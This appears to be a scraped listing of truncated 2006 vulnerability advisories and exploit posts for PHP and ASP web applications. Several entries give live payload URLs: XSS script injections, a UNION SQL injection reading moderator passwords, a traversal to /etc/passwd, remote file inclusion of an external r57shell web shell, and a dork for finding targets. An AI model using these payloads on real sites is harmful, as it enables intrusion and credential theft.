CVE-2006-3046

Unspecified vulnerability in the admin login feature in Subtext 1.5, in a multiblog setup, allows remote administrators of one blog to login to another blog...

CVE-2006-3046

This entry (CVE-2006-3046) describes an unspecified vulnerability in the Subtext 1.5 admin login feature in a multiblog setup, where remote administrators of one blog can log in to another blog. The available sources report only the vulnerability existence and affected component; no root-cause de...

CVE-2006-3046

Unspecified vulnerability in the admin login feature in Subtext 1.5, in a multiblog setup, allows remote administrators of one blog to login to another blog...

CVE-2006-2891

Cross-site scripting XSS vulnerability in admin/index.php for Pixelpost 1-5rc1-2 and earlier allows remote attackers to inject arbitrary HTML or web script via the loginmessage parameter...

Partial Links v1.2.2

Partial Links v1.2.2 Homepage: http://www.particlesoft.net/particlelinks/ Effected files: index.php pagefooter.php admin.php Exploits & Vulnerabilities: Possible directory traversal?: http://www.example.com/OtherSites/X2526Y/../../../../../etc/passwd/ SQL Injection:...

CVE-2006-2822

SQL injection vulnerability in admin/default.asp in Dusan Drobac CodeAvalanche FreeForum aka CAForum 1.0 allows remote attackers to execute arbitrary SQL commands via the password parameter...

Xss exploit in Chipmunk directory

Xss exploit in Chipmunk directory forum type : Chipmunk directory bug found by : black-code team : site-down type : Xss black-code: codes : http://www.example.com/directory/index.php?catid=catid&start='scriptalert10/script path to admin login: http://www.xxx.com/path/admin All my respect to my...

Sql injection

Multiple SQL injection vulnerabilities in Tamber Forum 1.9.13 and earlier allow remote attackers to execute arbitrary SQL commands via the 1 frmid parameter to a showforum.asp, 2 a search field to b forumsearch.asp, 3 Email address or 4 Password to c admin/index.asp, 5 frmcatid parameter to d...

Critical sql injection in saphplesson 2.0

Critical sql injection in : forum type : saphplesson 2.0 bug found by : black-code&sweet-devil team : site-down type : sql injection black-code: http://www.xxx.net/sh3r/add.php?forumid=-120union20select20Modpassword20from20modretor sweet-devil:...

multiple Xss exploits in : vCard 2.9

Subject: multiple Xss exploits in : vCard 2.9 Date: 27 May 2006 11:12:55 -0000 multiple Xss exploits in : vCard 2.9 forum type : vCard 2.9 bug found by : black-code&sweet-devil team : site-down type : Xss sweet-devil: http://www.example.com/cards/create.php?cardid='scriptalert10/script...

Multiple Xss exploits in Chipmunk Board

Subject: Multiple Xss exploits in Chipmunk Board Date: 27 May 2006 10:51:30 -0000 Multiple Xss exploits in Chipmunk Board forum type : Chipmunk Board bug found by : black-code&sweet-devil team : site-down type : Xss black-code: codes :...

Xss exploit in Photoalbum B&W v1.3

Xss exploit in Photoalbum B&W v1.3 forum type : Photoalbum B&W v1.3 bug found by : black-code & sweet-devil team : site-down type : Xss exploit : http://www.example.com/superalbum/index.php?pic='scriptalert10/script path to admin login: emails: [email protected] & [email protected] All my...

multiple file include exploits in EzUpload Pro v2.10

multiple file include exploits in EzUpload Pro v2.10 forum type : EzUpload Pro v2.10 bug found by : black-code & sweet-devil team : site-down type : file include exploits : form.php http://www.example.com/path/form.php?path=http://rst.void.ru/download/r57shell.txt?&cmd=pwd customize.php...

phpBazar210.txt

Title: phpBazar = 2.1.0 Multiple vulnerabilites URL: http://www.smartisoft.com/ Dork: inurl:classified.php phpbazar Exploits: -remote file inclusion: /classifiedright.php?languagedir=http://yourhost/cmd.gif?cmd=ls -access to admin login and password: /admin/admin.php?action=editmember&value=1 Fou...

phpBazar <= 2.1.0 Multiple vulnerabilites

Title: phpBazar = 2.1.0 Multiple vulnerabilites URL: http://www.smartisoft.com/ Dork: inurl:classified.php phpbazar Exploits: -remote file inclusion: /classifiedright.php?languagedir=http://yourhost/cmd.gif?cmd=ls -access to admin login and password: /admin/admin.php?action=editmember&value=1 Fou...

phpBazar 2.1.0 - Remote File Inclusion Authentication Bypass

phpBazar 2.1.0 - Remote File Inclusion Authentication Bypass Title: phpBazar = 2.1.0 Multiple vulnerabilites URL: http://www.smartisoft.com/ Dork: inurl:classified.php phpbazar Exploits: -remote file inclusion: /classifiedright.php?languagedir=http://yourhost/cmd.gif?cmd=ls -access to admin login...

phpBazar <= 2.1.0 Remote (Include/Auth Bypass) Vulnerabilities

No description provided by source. Title: phpBazar = 2.1.0 Multiple vulnerabilites URL: http://www.smartisoft.com/ Dork: inurl:classified.php phpbazar Exploits: -remote file inclusion: /classifiedright.php?languagedir=http://yourhost/cmd.gif?cmd=ls -access to admin login and password:...

phpBazar <= 2.1.0 Remote (Include/Auth Bypass) Vulnerabilities

Exploit for unknown platform in category web applications ============================================================== phpBazar = 2.1.0 Remote Include/Auth Bypass Vulnerabilities ============================================================== Title: phpBazar = 2.1.0 Multiple vulnerabilites URL:...

eWebEditor: the website of the invisible bomb-vulnerability warning-the black bar safety net

Article author: koshan Information source: http://www.hacker.com.cn/ Dear webmasters in using the eWebEditor is found, eWebEditor improperly configured so that it will become the site of the Unabomber? The first discovery of this vulnerability stems from last year's invasion, in the dead end of t...

Sql injection

Multiple SQL injection vulnerabilities in Pro Publish 2.0 allow remote attackers to execute arbitrary SQL commands via the 1 email and 2 password parameter to a admin/login.php, 3 findstr parameter to b search.php, or 4 artid parameter to c art.php, or 5 catid parameter to d cat.php...